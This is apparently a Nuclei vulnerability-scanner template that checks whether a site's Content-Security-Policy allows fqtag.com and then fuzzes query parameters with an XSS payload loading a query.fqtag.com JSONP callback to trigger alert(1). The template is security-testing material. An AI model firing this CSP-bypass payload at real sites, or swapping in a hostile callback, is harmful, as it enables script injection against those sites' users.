id: fqtag-query-csp-bypass

info:
  name: Content-Security-Policy Bypass - FQTag Query
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,fqtag-query,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "fqtag.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: fqtag_query_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://query.fqtag.com/b?callback=alert(1)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "fqtag_query_csp_xss == true"
# digest: 490a004630440220056ada71878d516c00b26f090a1fe7d042c0c22f6c84d851085c04ac9281e65b022031de3f2fa5d5e026198e20b7a33214cd2d089aaa8920340d82cbe2153e1517ec:922c64590222798bb761d5b6d8e72950